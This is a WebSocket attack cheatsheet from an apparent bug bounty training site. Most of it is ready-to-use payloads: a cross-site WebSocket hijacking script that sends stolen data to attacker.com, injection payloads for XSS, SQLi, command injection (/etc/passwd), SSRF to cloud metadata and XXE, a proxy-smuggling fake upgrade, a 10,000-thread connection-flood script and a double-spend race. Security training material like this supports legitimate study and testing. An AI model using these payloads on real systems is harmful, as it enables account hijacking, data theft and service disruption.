WebSockets Cheatsheet

WebSocket Attacks

Quick reference

  • CSWSH is the CSRF equivalent for WebSockets — cookies are sent automatically in the handshake
  • Try Origin with: evil.com, null, 127.0.0.1, 192.168.1.1, file://
  • Every injection type (XSS, SQLi, SSRF) also applies through WebSocket messages
  • WebSocket smuggling allows a full proxy/WAF bypass
  • If permessage-deflate is enabled, try compression bombs

CSWSH - Cross-Site WebSocket Hijacking

Verify the vulnerabilityCookies are sent automatically in the handshake

1. Capturar WebSocket handshake en Burp
2. Cambiar header Origin a https://evil.com
3. Si el servidor acepta la conexion = vulnerable

CSWSH exploit

<script>
var ws = new WebSocket("wss://target.com/ws");
ws.onopen = function() {
    ws.send(JSON.stringify({"action": "getProfile"}));
};
ws.onmessage = function(event) {
    fetch("https://attacker.com/steal?data=" + encodeURIComponent(event.data));
};
</script>

Origin with local IPSome servers accept local IPs as a valid origin

Origin: http://127.0.0.1

Null OriginAlso try: file://, empty string, http://0.0.0.0

Origin: null

Payload injection via WS

XSS via WebSocket

{"message": "<img src=x onerror=alert(1)>"}

SQLi via WebSocket

{"query": "' OR 1=1--"}

Command injection via WS

{"cmd": "; cat /etc/passwd"}

SSRF via WebSocket

{"url": "http://169.254.169.254/latest/meta-data/"}

IDOR via WebSocket

{"action": "getProfile", "userId": "victim-id-123"}

XXE via WebSocket

{"data": "<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><foo>&xxe;</foo>"}

WebSocket Smuggling

Concept

1. Enviar peticion de upgrade a WebSocket
2. El proxy cree que es WebSocket, backend rechaza upgrade
3. El proxy deja de inspeccionar trafico
4. Enviar HTTP arbitrario al backend sin inspeccion del proxy

Fake upgradeIf the proxy accepts but the backend doesn't, an uninspected tunnel is created

GET /ws HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

DoS and race conditions over WS

Connection flood

import websocket, threading
def connect():
    ws = websocket.WebSocket()
    ws.connect("wss://target.com/ws")
    while True: pass
for i in range(10000):
    threading.Thread(target=connect).start()

Compression bombSimilar to a zip bomb but via WebSocket

Enviar datos altamente comprimibles cuando permessage-deflate esta activo

Race condition in transfersDouble-spend if the operations aren't atomic

Enviar dos mensajes de transferencia simultaneos:
ws.send('{"action":"transfer","amount":100}')
ws.send('{"action":"transfer","amount":100}')

Tools

ws-smuggler

WebSocket smuggling tool to bypass proxies

python3 ws-smuggler.py -u https://target.com/ws

Burp Suite WebSocket

Intercept and modify WebSocket messages in real time

Burp > Proxy > WebSocket history

websocat

CLI WebSocket client for manual, interactive testing

websocat wss://target.com/ws

Ready to practice?

Put these payloads to work in real labs based on bug bounty reports.

See practice labs
hunters training
650

hunters training

labs from real reports
50

labs from real reports

completions
380

completions

in bounties practiced
$200,000

in bounties practiced

40 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy
BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime